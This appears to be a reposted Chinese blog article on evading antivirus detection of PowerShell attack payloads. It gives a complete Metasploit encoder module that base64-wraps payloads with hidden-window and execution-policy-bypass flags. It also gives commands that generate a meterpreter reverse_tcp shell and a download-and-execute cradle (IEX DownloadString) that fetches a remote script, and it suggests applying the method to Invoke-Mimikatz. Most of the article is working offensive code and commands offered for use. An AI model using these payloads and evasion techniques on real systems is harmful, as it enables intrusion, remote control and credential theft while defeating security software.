关于Powershell对抗安全软件(转）

傷城~ 2024-04-07 11:02 18阅读 0赞

Windows PowerShell的强大，并且内置，在渗透过程中，也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。  
在https://technet.microsoft.com，看到文档如下：

Windows PowerShell是以.NET Framework技术为基础，并且与现有的WSH保持向后兼容，因此它的脚本程序不仅能访问.NET CLR，也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法，提升管理者处理，常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。

`Here is a listing of the available startup parameters:`

`-Command` `Specifies the command text to execute as though it were typed at the PowerShell command prompt.`

`-EncodedCommand` `Specifies the base64` `-encoded` `command text to execute.`

`-ExecutionPolicy` `Sets the default execution policy for the console session.`

`-File` `Sets the name of a script fi le to execute.`

`-InputFormat` `Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.`

`-NoExit` `Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).`

`-NoLogo` `Starts the PowerShell console without displaying the copyright banner.`

`-Noninteractive` `Starts the PowerShell console in non` `-interactive` `mode. In this mode, PowerShell does not present an interactive prompt to the user.`

`-NoProfile` `Tells the PowerShell console not to load the current user’s profile.`

`-OutputFormat` `Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.`

`-PSConsoleFile` `Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap` `-in` `extensions are loaded and available. You can create a console file using` `Export-Console` `in Windows PowerShell.`

`-Sta` `Starts PowerShell in single` `-threaded` `mode.`

`-Version` `Sets the version of Windows PowerShell to use for compatibility, such as 1.0.`

`-WindowStyle` `Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.`

针对它的特性，本地测试：`Add``-Type` `-AssemblyName` `PresentationFramework;[System.Windows.MessageBox]::Show(``'Micropoor'``)`

![0aba230de1c8f3313e7a3f6218b6f6b0.jpeg][]

上文所说，越来越多的杀软开始对抗，powershell的部分行为，或者特征。以msfvenom为例，生成payload

![25be886e059f8d0127d0ed7d794d2a2f.jpeg][]

micropoor.ps1不幸被杀

![3f5083aced2386bcbcfa283c18167e06.jpeg][]

针对powershell特性，更改payload

![266ecff7123a0702e5fe5789fb16e858.jpeg][]

接下来考虑的事情是如何把以上重复的工作变成自动化，并且针对powershell，DownloadString特性，设计出2种payload形式： (1)目标机出网 (2)目标机不出网 并且根据需求，无缝连接Metasploit。 根据微软文档，可以找到可能对以上有帮助的属性，分别为： WindowStyle NoExit EncodedCommand exec 自动化实现如下：

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
    #       E.g 
    #       msf encoder(powershell/base64) > use exploit/multi/handler 
    #       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
    #       payload => windows/x64/meterpreter/reverse_tcp
    #       msf exploit(multi/handler) > exploit 
    
    #       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
    
    #       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
    
    class MetasploitModule < Msf::Encoder
      Rank = NormalRanking
    
      def initialize
        super(
          'Name'             => 'Powershell Base64 Encoder',
          'Description'      => %q{
            msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
          },
          'Author'           => 'Micropoor',
          'Arch'             => ARCH_CMD,
          'Platform'         => 'win')
    
        register_options([
          OptBool.new('payload', [ false, 'Use payload ', false ]),
          OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
        ])
    
      end
    
      def encode_block(state, buf)
        base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
        cmd = ''
        if datastore['x64']
          cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
        else
          cmd += 'powershell.exe '
        end
        if datastore['payload']
          cmd += '-windowstyle hidden -exec bypass -NoExit '
        end
        cmd += "-EncodedCommand #{base64}"
      end
    end
    
    
    # if use caidao
    # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
    # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

拷贝 powershell\_base64.rb 文件到 /usr/share/metasploit-framework/embedded/framework/modules/encoders/powershell 目录下 如果powershell is 空,请新建powershell目录 参数 payload 选择是否使用Metasploit payload，来去掉powershell的关键字。 例1(目标出网，下载执行)： echo powershell -windowstyle hidden -exec bypass -c \\""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\\"" |msfvenom -e powershell/base64 --arch x64 --platform windows

![9e2b7c81305d3942d86fa10cc50606fc.jpeg][]

例2(目标不出网，本地执行)

msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

注：加payload参数

![aa2580c8ea94bb939d0a58bb6a05f621.jpeg][]

更多有趣的实验： 把例1的down内容更改为例2，并且去掉payload参数。来减小payload大小。 更改Invoke-Mimikatz.ps1等。

![d2cce6631d5ef9e536ff7f4f4489d76f.jpeg][]

from: [https://technet.microsoft.com/en-us/library/ff629472.aspx][https_technet.microsoft.com_en-us_library_ff629472.aspx]

[https://github.com/danielbohannon/Invoke-Obfuscation][https_github.com_danielbohannon_Invoke-Obfuscation]

[https://micropoor.blogspot.com/2018/04/powershell.html][https_micropoor.blogspot.com_2018_04_powershell.html]

[0aba230de1c8f3313e7a3f6218b6f6b0.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/695344cf81694789b09b6fedd0827dee.jpeg
[25be886e059f8d0127d0ed7d794d2a2f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a10ff9c3fef94494a93052eead1d53ca.jpeg
[3f5083aced2386bcbcfa283c18167e06.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7edba3e32be848fd9aab2beacc4cbb5e.jpeg
[266ecff7123a0702e5fe5789fb16e858.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8c5c1272156a4c33a95f8cad6477ccfe.jpeg
[9e2b7c81305d3942d86fa10cc50606fc.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4df840699aa0460d88916e57f0000e0c.jpeg
[aa2580c8ea94bb939d0a58bb6a05f621.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7305ed2565234bb0bf253ecd872b828a.jpeg
[d2cce6631d5ef9e536ff7f4f4489d76f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/051179dd6b374f648e06c0d8d06191be.jpeg
[https_technet.microsoft.com_en-us_library_ff629472.aspx]: https://technet.microsoft.com/en-us/library/ff629472.aspx
[https_github.com_danielbohannon_Invoke-Obfuscation]: https://github.com/danielbohannon/Invoke-Obfuscation
[https_micropoor.blogspot.com_2018_04_powershell.html]: https://micropoor.blogspot.com/2018/04/powershell.html